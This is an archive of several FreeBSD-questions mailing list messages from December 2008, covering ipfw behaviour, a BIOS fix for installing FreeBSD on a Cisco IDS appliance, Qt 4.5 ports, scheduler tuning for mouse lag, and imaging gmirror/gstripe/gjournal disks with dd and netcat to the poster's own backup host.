Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 15:05:00 -0000 On Thu, 4 Dec 2008 10:33:23 +0700 (ICT) Olivier Nicole wrote: > I remember that I read, many years ago, something about the way ipfw > interacts with the IP stack. AFAIR, ipfw would be called on layer 2, > where only certain rules would be applied, then on the IP layer where > other rules would apply. Is it still the case? Where can I find th > description? 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If you feel that you have received this email in error, please send an email to customersupport@greenteame.com From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 18:45:13 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E7350106564A for ; Sat, 6 Dec 2008 18:45:13 +0000 (UTC) (envelope-from peterpub2@aboutsupport.com) Received: from ariqua.hostforweb.net (ariqua.hostforweb.net [64.202.123.184]) by mx1.freebsd.org (Postfix) with ESMTP id C1D2C8FC1E for ; Sat, 6 Dec 2008 18:45:13 +0000 (UTC) (envelope-from peterpub2@aboutsupport.com) Received: from [84.238.220.62] (port=49431 helo=[10.30.1.106]) by ariqua.hostforweb.net with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.69) (envelope-from ) id 1L929R-0004Pp-KY for freebsd-questions@freebsd.org; Sat, 06 Dec 2008 12:45:13 -0600 Message-ID: <493AC82E.5000509@aboutsupport.com> Date: Sat, 06 Dec 2008 20:45:02 +0200 From: Peter User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <492953A5.4070206@aboutsupport.com> In-Reply-To: <492953A5.4070206@aboutsupport.com> X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Antivirus-Scanner: Clean mail though you should still use an Antivirus X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - ariqua.hostforweb.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - aboutsupport.com Subject: Re: FreeBSD on Cisco IDS 4235 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 18:45:14 -0000 Hello, I have fixed the problem myself. If anyone ever experience this problem the solution is: Replace cisco BIOS with Dell BIOS for Poweredge 1650, revision 32. Then FreeBSD 7 install like charm. Link to DELL's site: http://support.dell.com/support/downloads/download.aspx?c=us&l=en&s=gen&releaseid=R68041&SystemID=PWE_PNT_PIII_1650&servicetag=&os=WNET&osl=en&deviceid=159&devlib=0&typecnt=0&vercnt=7&catid=-1&impid=-1&formatcnt=4&libid=1&fileid=88251 Peter Peter wrote: > Hello, > > I am trying to install FreeBSD 7.0 on Cisco IDS 4235(pentium III 1.2 > Ghz, 1 GB ram, the device seems quite simialr to Dell PowerEdge 1750 > Server). However BTX loader dies with this message(see screenshot here: > http://www.aboutsupport.com/freebsd/btx.jpg) > > I tried with both ACPI and Safe mode but still no luck. > > Other operating systems I tried: > > Debian - installs just fine > FreeBSD 6.3 - installs just fine > NetBSD 4 - installs just fine > FreeBSD 7.1 FAILS, even at earlier stage than 7.0, on loader stage. > > Thanks in advance for your help. > > Peter > From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 20:19:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 01E47106564A for ; Sat, 6 Dec 2008 20:19:34 +0000 (UTC) (envelope-from kitchetech@gmail.com) Received: from fk-out-0910.google.com (fk-out-0910.google.com [209.85.128.190]) by mx1.freebsd.org (Postfix) with ESMTP id 76FBD8FC16 for ; Sat, 6 Dec 2008 20:19:33 +0000 (UTC) (envelope-from kitchetech@gmail.com) Received: by fk-out-0910.google.com with SMTP id k31so602596fkk.11 for ; Sat, 06 Dec 2008 12:19:32 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=Cc2o9yD5arFBaFsHzX0Sif5C/OKhAqUfI0c/f+UPiC4=; b=pUwTn/Z85nOhRu8Sn14pRDenl/x2D7tK4oEnIsmWoCOD5jZJV+Vo5DsDQmuyAI2fZF NNqqx+DIXM6kg5NNyjZTafoSufM7H0drDawZof/nw4I3AoTxG9pLjRSxrmBiiP3juv5B Z+kBbyDq2I9+RlUwNL0Ydjtnoi18dyNo7t7w0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=eDcYR6SprHRjMdpuaSVvE/ILCw3zjFHfdTz2K4gNuGF63pSSzFNdG2UrSJuDKI4Rd/ I2fEpP6Og0YJw7WgoI7h7tyVoaM+s8W6k2c/iLHrupQVhiCiIGXYdgPTqtXA5NEWqkrH S6tlZozECf7HKlebjWIT/+bRTATBOiT9rSKpM= Received: by 10.181.208.11 with SMTP id k11mr532417bkq.180.1228594772103; Sat, 06 Dec 2008 12:19:32 -0800 (PST) Received: by 10.181.31.13 with HTTP; Sat, 6 Dec 2008 12:19:32 -0800 (PST) Message-ID: <28283d910812061219u2915f49cw9767c4abffb33dd2@mail.gmail.com> Date: Sat, 6 Dec 2008 15:19:32 -0500 From: "matt donovan" To: "Warren Liddell" In-Reply-To: <493A3379.5000003@maydias.com> MIME-Version: 1.0 References: <4939CABB.7050702@maydias.com> <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> <493A3379.5000003@maydias.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: perryh@pluto.rain.com, freebsd-questions@freebsd.org Subject: Re: QT4.5 packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 20:19:34 -0000 On Sat, Dec 6, 2008 at 3:10 AM, Warren Liddell wrote: > You can find many packages for several releases under > >> ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386 >> _______________________________________________ >> >> > Yeah that was the first palced i checked, but there is only 4.4.1 and at > the least i need 4.4.2, but a lot of things im now running require 4.5 an > being as i can build them i goto add them from pkg .. im running AMD64 > FreeBSD 7.1-PreRelease KDE 4.1.3 > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > Qt4.5 has not been ported over yet but they are working on it. From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 22:54:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8DFAE1065675 for ; Sat, 6 Dec 2008 22:54:52 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id B7B538FC16 for ; Sat, 6 Dec 2008 22:54:51 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB6Msk0g001864; Sat, 6 Dec 2008 23:54:46 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB6MsjgM001861; Sat, 6 Dec 2008 23:54:45 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sat, 6 Dec 2008 23:54:45 +0100 (CET) From: Wojciech Puchar To: Daniel Bye In-Reply-To: <20081206122711.GF19575@torus.slightlystrange.org> Message-ID: <20081206235256.D1855@wojtek.tensor.gdynia.pl> References: <4939F044.8090507@rawbw.com> <20081206122711.GF19575@torus.slightlystrange.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: "Sticky" mouse pointer on machine with high load X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 22:54:52 -0000 > Not guaranteed, but it has worked for several people in the past - try > rebuilding your kernel with the SCHED_ULE scheduler, instead of the make sure you have quite new FreeBSD 7-* branch, as it was quite improved few months ago. you may try to tune it up by changing kern.sched.interact sysctl in short - higher value - interactive processes gets better scheduling > SCHED_BSD4 scheduler. Although ostensibly its benefits are more obvious > on multi-processor machines, it does often seem to fix this mouse lag > issue that comes up from time to time. > > It has been discussed on the list several times, so you might find some > interesting further reading if you search the archives. > > Dan > > -- > Daniel Bye > _ > ASCII ribbon campaign ( ) > - against HTML, vCards and X > - proprietary attachments in e-mail / \ > From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 23:03:15 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9063A106564A for ; Sat, 6 Dec 2008 23:03:15 +0000 (UTC) (envelope-from doug@polands.org) Received: from hrndva-omtalb.mail.rr.com (hrndva-omtalb.mail.rr.com [71.74.56.124]) by mx1.freebsd.org (Postfix) with ESMTP id 5146B8FC14 for ; Sat, 6 Dec 2008 23:03:15 +0000 (UTC) (envelope-from doug@polands.org) Received: from haran.polands.org ([75.87.219.217]) by hrndva-omta04.mail.rr.com with ESMTP id <20081206223234.DCFN18207.hrndva-omta04.mail.rr.com@haran.polands.org> for ; Sat, 6 Dec 2008 22:32:34 +0000 Received: from jericho.polands.org (jericho.polands.org [172.16.1.33]) by haran.polands.org (8.14.2/8.14.2) with ESMTP id mB6MWXnX095660 for ; Sat, 6 Dec 2008 16:32:33 -0600 (CST) (envelope-from doug@polands.org) Message-ID: <493AFD81.6020705@polands.org> Date: Sat, 06 Dec 2008 16:32:33 -0600 From: Doug Poland User-Agent: Thunderbird 2.0.0.18 (X11/20081124) MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 23:03:15 -0000 Hello, I've got a 7.1-PRERELEASE i386 box with 4 SATA drives configured in a RAID-10 using gmirror, gstripe, and gjournal. Normally, I use dump and rsync for periodic backups on this machine, but I suspect that the gmirror/gstripe/gjournal information is not being backed up. If my assumption is correct, how can I perform a "one-time" backup such that I could do a bare-metal restore? The essence of the question being I want to preserve not only the data, but also the gmirror/gstripe/gjournal meta-data as well. The only thought that comes to mind is to boot with a 7.1 live filesystem CD-ROM and "dd" each drive, piping the results to my backup machine. e.g., host# dd if=/dev/ad4 bs=2m | gzip | nc backuphost 12345 host# dd if=/dev/ad6 bs=2m | gzip | nc backuphost 12346 host# dd if=/dev/ad10 bs=2m | gzip | nc backuphost 12347 host# dd if=/dev/ad12 bs=2m | gzip | nc backuphost 12348 Any thoughts, suggestions, caveats? -- Regards, Doug P.S. Here are the geom and fdisk details, if that helps... host# gmirror list Geom name: root State: COMPLETE Components: 4 Balance: load Slice: 4096 Flags: NONE GenID: 0 SyncID: 5 ID: 127818465 Providers: 1. Name: mirror/root Mediasize: 1068802048 (1.0G) Sectorsize: 512 Mode: r1w1e2 Consumers: 1. Name: ad4s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 3738169247 2. Name: ad6s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 3845503692 3. Name: ad10s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 4161988509 4. Name: ad12s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 2277790192 Geom name: duplex0 State: COMPLETE Components: 2 Balance: load Slice: 4096 Flags: NONE GenID: 1 SyncID: 2 ID: 2584379190 Providers: 1. Name: mirror/duplex0 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Consumers: 1. Name: ad4s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 2 ID: 1342354069 2. Name: ad10s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 2 ID: 985541614 Geom name: duplex1 State: COMPLETE Components: 2 Balance: load Slice: 4096 Flags: NONE GenID: 1 SyncID: 3 ID: 1552757394 Providers: 1. Name: mirror/duplex1 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Consumers: 1. Name: ad6s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 3 ID: 429168325 2. Name: ad12s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 3 ID: 1587593952 host# gstripe list Geom name: raid10 State: UP Status: Total=2, Online=2 Type: AUTOMATIC Stripesize: 262144 ID: 4114245491 Providers: 1. Name: stripe/raid10 Mediasize: 309352464384 (288G) Sectorsize: 512 Mode: r1w1e1 Consumers: 1. Name: mirror/duplex0 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Number: 0 2. Name: mirror/duplex1 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Number: 1 host# gjournal list Geom name: gjournal 2147944994 ID: 2147944994 Providers: 1. Name: stripe/raid10.journal Mediasize: 308278722048 (287G) Sectorsize: 512 Mode: r1w1e1 Consumers: 1. Name: stripe/raid10 Mediasize: 309352464384 (288G) Sectorsize: 512 Mode: r1w1e1 Jend: 309352463872 Jstart: 308278722048 Role: Data,Journal host# fdisk ad{4,6,10,12} ******* Working on device /dev/ad4 ******* parameters extracted from in-core disklabel are: cylinders=310101 heads=16 sectors/track=63 (1008 blks/cyl) Figures below won't work with BIOS for partitions not in cyl 1 parameters to be used for BIOS calculations are: cylinders=310101 heads=16 sectors/track=63 (1008 blks/cyl) Media sector size is 512 Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 1 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 63, size 2088387 (1019 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 1; end: cyl 129/ head 254/ sector 63 The data for partition 2 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 2088450, size 8385930 (4094 Meg), flag 0 beg: cyl 130/ head 0/ sector 1; end: cyl 651/ head 254/ sector 63 The data for partition 3 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 10474380, size 302102325 (147510 Meg), flag 0 beg: cyl 652/ head 0/ sector 1; end: cyl 1023/ head 254/ sector 63 The data for partition 4 is: From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 23:10:29 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E05961065673 for ; Sat, 6 Dec 2008 23:10:29 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 3D0538FC13 for ; Sat, 6 Dec 2008 23:10:26 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB6NANoe001938; Sun, 7 Dec 2008 00:10:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB6NANNx001935; Sun, 7 Dec 2008 00:10:23 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sun, 7 Dec 2008 00:10:23 +0100 (CET) From: Wojciech Puchar To: Doug Poland In-Reply-To: <493AFD81.6020705@polands.org> Message-ID: <20081207000913.V1934@wojtek.tensor.gdynia.pl> References: <493AFD81.6020705@polands.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: questions@freebsd.org Subject: Re: Backup complete gmirror/gstripe/gjournal drives, how-to? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 23:10:30 -0000 > periodic backups on this machine, but I suspect that the > gmirror/gstripe/gjournal information is not being backed up. > > If my assumption is correct, how can I perform a "one-time" backup such that > I could do a bare-metal restore? The essence of the question being I want to assuming you do gmirror first and then gstripe of gmirror then use dd to read last sectors of each disk drive and each gmirror device. and backup disklabels